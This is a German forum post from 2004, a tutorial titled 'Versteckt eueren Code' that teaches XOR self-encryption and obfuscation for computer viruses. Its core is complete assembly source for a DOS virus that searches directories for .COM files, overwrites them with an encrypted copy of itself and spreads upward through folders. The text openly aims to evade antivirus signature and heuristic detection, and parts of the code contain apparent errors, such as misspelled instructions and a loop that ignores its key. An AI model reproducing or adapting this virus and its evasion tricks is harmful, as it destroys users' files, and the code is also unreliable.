PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Viren - Verstecken



HurricanX
11.09.2004, 14:34
Versteckt eueren Code

written by SnakeByte







In diesem Tutorial möchte ich ein wenig über Verschlüsselung und Anti-debug

techniken reden..ehm.. schreiben. Die ist nicht nur für Viren interesannt, sondern

für alle Programme, deren Sourcecode nicht jeder in die Finger bekommen sollte.

Eines generell, man kann immer ein Programm in den Sourcecode zerlegen, aber der

Schreiber des Programmes kann Vorkehrungen treffen, die dieses erschweren.



Fangen wir mit Verschlüsselung an : am einfachsten ist es ein Programm zu verschlüsseln,

daß sich von selbst dupliziert, da man bei allen anderen Programmen den Verschlüsselten

Teil 'per Hand' oder mit einem extra Programm verschlüsseln muss.

Wie ihr sicherlich wisst, ist es möglich das gerade ablaufende Programm zu modifizieren,

so das das Programm andere Wege geht. Hier ein kleines Beispiel für so eine Veränderung :



lea di, patch ; schreibe nach Patch

mov ah,90h ; schreibe 90h ( opcode für nop )

stosb ; schreibe 3 bytes

stosb

stosb

patch: ; hier fangen wir an zu schreiben

jmp sonstwohin ; dieser Sprungbefehl wird überschrieben

int 20h ; hier läuft unser Programm weiter



Mit diesem simplen code schreiben wir über den Sprung (jmp sonstwohin)

drei nop's ( nichts-tun - Befehl ). Da der Sprung nun nicht mehr existiert wird der

folgende int 20h ausgeführt. ( Mit einem INT 20h kann man COM-Dateien auf schnelle Art und

Weise beenden ).

Sollte eigentlich soweit klar sein... :)



Nun fangen wir an zu verschlüsseln :

Nein, ich werde jetzt nicht anfangen RSA zu erklären,.. Das Problem mit

Selbstver-entschlüsselndem Code ist, das sich das Programm auch wieder selber entschlüsseln

muss, also liegt der Schlüssel im nich-verschlüsseltem Bereich. Da man also ohne

Probleme an den Schlüssel rankommt, ist selbst RSA leicht zu knacken.

Hier kommt die simpleste aller Verschlüsselungsarten : XOR - das exclusive oder !

Was macht xor ? Mit Xor al,5h wird die Zahl in al einem exclusiven oder mit 5 unterzogen.

Nehmen wir mal an al wäre 3. Dann wandeln wir 5 und 3 in Binärcode um:



3 = 011 17 = 10001

5 = 101 25 = 11001

---------- XOR anderes Bsp.: ------------ XOR

6 = 110 8 = 01000



Man schaut bei jeder Stelle nach, ob bei nur einer der beiden Zahlen eine 1 steht.

Wenn ja, steht im Ergebnis auch eine 1 ansonsten eine 0.

Nochmal eine kleine Tabelle :



| 1 0 <-- 1.Zahl

--------

1 | 0 1 <- Ergebnis

0 | 1 0



^-2.Zahl



Die Besonderheit an XOR ist, das man damit eine Verschlüsselung vollbringen kann.

Bsp.:



5 Xor 3 = 6

6 Xor 3 = 5



Hier ist 5 die Zahl, die wir verschlüsseln wollen. Unser zufälliger Schlüssel ist die

3, wenn wir die 5 mit 3 xor'en (?) erhalten wir 6. Zum entschlüsseln vollziehen wir

wieder ein exclusives oder mit 3 und erhalten wieder unsere 5.



Da der Maschinencode auch nur aus Zahlen besteht, können wir nun wunderbar damit rechnen.

Hier eine Routine, die man zum Ver-und Entschlüsseln verwenden kann :



lea si, startdesverschlüsseltencodes:

mov cx,(offset endedesverschlüsseltencodes-offset endedesverschlüsseltencode)

mov ah,3h

XOR_loop:

xor [si],ah

inc si

loop XOR_loop



Was tun wir hier ? Zuerst weisen wir si den offset zu, an dem unsere Verschlüsselung

beginnt. In ah laden wir unseren Schlüssel und in cx die Länge des Verschlüsselten codes.

Nun Verschlüsseln wir jedes Byte unseres Codes mit 3h und rücken si immer um 1 Byte weiter,

bis wir den gesamten Code durchgegangen sind.

Nun, wie schreiben wir das Ganze, wenn wir das in einen Virus einbauen wollen ?



mov cx,länge

mov ah,3h

Xor_loop:

loadsb

xor ah,3h

stosb

loop Xor_loop



Das ist euere Prozedur, wenn ihr diese zum Entschlüsseln aufruft, einfach ein



lea si,start

mov di,si



vor der Call setzen, so das der Entschlüsselte Teil über den Verschlüsselten geschrieben

wird. Wenn ihr allerdings eueren virus irgendwo anhängen wollt, einfach ein



lea si,start

lea di,buffer



vor dem Call ausführen, wobei buffer der Offset ist, an dem ihr eine verschlüsselte Kopie

eures Virus speichern wollt.

Hier ein simpler COM-Overwritter, der dieses nutzt.







.model tiny

code segment

assume cs:code,ds:code ;Definiert die einzelnen Segmente

org 100h ;Wir bauen eine .COM Datei



lea si,start

mov di,si

Call encryption ;Let's crypt !



Start: ;Hier beginnt der Virus

mov ah,4eh ;Finde erste Datei

Weiter: ;Sprungmarke

mov dx, offset com ;lade com in dx

xor cx,cx ;cx = 0

int 21h ;ausführen ..suche nach Dateien mit *.COM

jc change_dir ;falls keine gefunden springe nach change_dir



mov ax, 3d02h ;öffne die Datei für Lese und Schreibzugriff

mov dx,9eh

int 21h

jc read_error ;gab es einen Fehler, dann springe nach read_error



xchg bx,ax ;tausche bx und ax



in ah,40h ;Zufälliger Schlüssel..

mov byte ptr cs:[key],ah ;speicher ihn



lea si,start ;mache eine verschlüsselte Kopie des Virus !

lea di,buffer

call encryption





mov ah, 40h ;schreib was...

mov cx, offset Virende - offset START ;Länge des zu schreibenden

mov dx, offset buffer ;wo fängt das zu schreibende an ? (unser verschlüsselter Code)

int 21h



mov ah, 40h ;hänge unsere Verschlüsselungs routine hintendran..

mov cx, offset buffer - offset Virende ;Länge des zu schreibenden

mov dx, offset virende ;wo fängt das zu schreibende an ?

int 21h ;nun hängt unsere Verschlüsselungsroutine an der Datei..





mov ah, 3eh ;Datei schließen

int 21h



read_error: ;Sprungmarke

mov ah, 4fh ;nächte Datei suchen...

jmp Weiter ;Springe nach Weiter





change_dir: ;Sprungmarke



mov ah,3bh ; Ändere das Verzeichnis

lea dx,Punkte ; Ein Verzeichnis runter

int 21h ; Ändere es

jnc start ; Falls es keinen Fehler gab, springe nach start



ende: ;Sprungmarke

mov ax,4c00h ;Zurück zu Dos

INT 21h



com db '*.com',0 ;Variablendefinition...

Punkte db '..',0

virende: ;Ende des Virus



encryption:

mov cx,(offset virende - offset start)

mov ah,byte ptr cs:[key] ;Unsere bekannte Verschlüsselungsroutine

Xor_loop:

loadsb

xor ah,3h

stosb

loop Xor_loop

ret



key db 0h ;Das ist unser KEY 0 im Dropper



buffer: ;Hier steht später unser verschlüsselter Virus !



code ends

end start





Sollte eigentlich soweit verständlich sein..

Für alle, die nicht nur ein simples XOR benutzen wollen :

Neg ax --> 0 minus ax --> aus 1 wird -1

Not ax --> +1 * (-1) --> aus 1 wird -2

Ror ax,1 --> verschiebt ax um 1 stelle nach rechts --> 0001 wird 1000

Rol ax,1 --> verschiebt nach links --> 0010 wird 0100

Inc ax --> erhöht ax um 1

Dec ax --> vermindert ax um 1

Add ax,1h --> addiert eine Zahl

Sub ax,1h --> subtrahiert eine Zahl

Mul ax,2h --> multipliziert

Div ax,2h --> dividiert (teilt :)



eignen sich auch hervorragend als Verschlüsselungsmechanismen..

Solange sich die Routine nach dem folgendem Schema aufbaut, kann man sie zum Ver und

Entschlüsseln verwenden, ansonsten einfach 2 Routinen schreiben.



Neg al

ror al,4h

not al

xor al,bl

not al

ror al,4h

Neg al



Hier wird Pyramiedenartig verschlüsselt, also man hat auf der gegenüberliegenden Seite

immer die Instruktion die die erstere aufhebt.. Egal von welcher Seite man den

Code durchläuft, es kommt immer das gleiche raus. Durch diese Besonderheit, kann man hier

ein und die gleiche Routine verwenden.





Mit diesen Tricks kann man sich vor allzuleichter Erkennung durch Scanstrings etwas

schützen. Leider haben die AV's aber heuristische Erkennungsmethoden entwickelt, die den

Virus trotzdem als (suspect) verdächtig einstufen. Diese kann man nur durch recht allgemeine

Programmierweisen umgehen.



[ Heuristic --> das suchen nach verdächtigen Programmen durch ausführen und testen auf

bestimmte Eigenschaften wie z.B. Möglichkeit sich zu replizieren, massive

Löschaktionen etc. ]



Bis zum nächsten Tutorial .. SnakeByte

Kritik und ähnliches an SnakeByte@gmx.de